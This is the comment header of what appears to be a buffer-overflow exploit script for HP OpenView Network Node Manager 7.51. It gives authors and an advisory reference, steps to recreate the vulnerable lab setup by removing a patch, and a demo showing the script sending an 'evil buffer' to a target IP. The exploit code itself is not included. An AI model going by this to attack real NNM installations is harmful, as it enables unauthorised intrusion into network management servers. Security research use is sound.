# Tested on XP SP3 + IIS + NNM Release B.07.50
# Authors: muts & sinn3r  (x90.sinner {a.t} gmail.c0m)
# Reference: http://dvlabs.tippingpoint.com/advisory/TPTI-09-12

#
# ** Big thanks to dookie for identifying the problem & testing for us! **
#
# IMPORTANT: How to recreate the vulnerable state:
# 1. Download NNM from exploit-db.com, install it
# 2. Go to Start -> All Programs -> HP OpenView Patches -> OpenView Network Node Manager 7.51 -> run "NNM_01187 Uninstall". And then reboot.
# 3. After the patch is removed, open command prompt, go to C:\Inetpub\AdminScrips\
#    cscript.exe adsutil.vbs set w3svc/CreateProcessAsUser "false"
#
# Demo:
# sinn3r@backtrack:~$ ./nnm.py 192.168.3.2
# [+] Sending evil buffer to NNMz
# [+] Done!
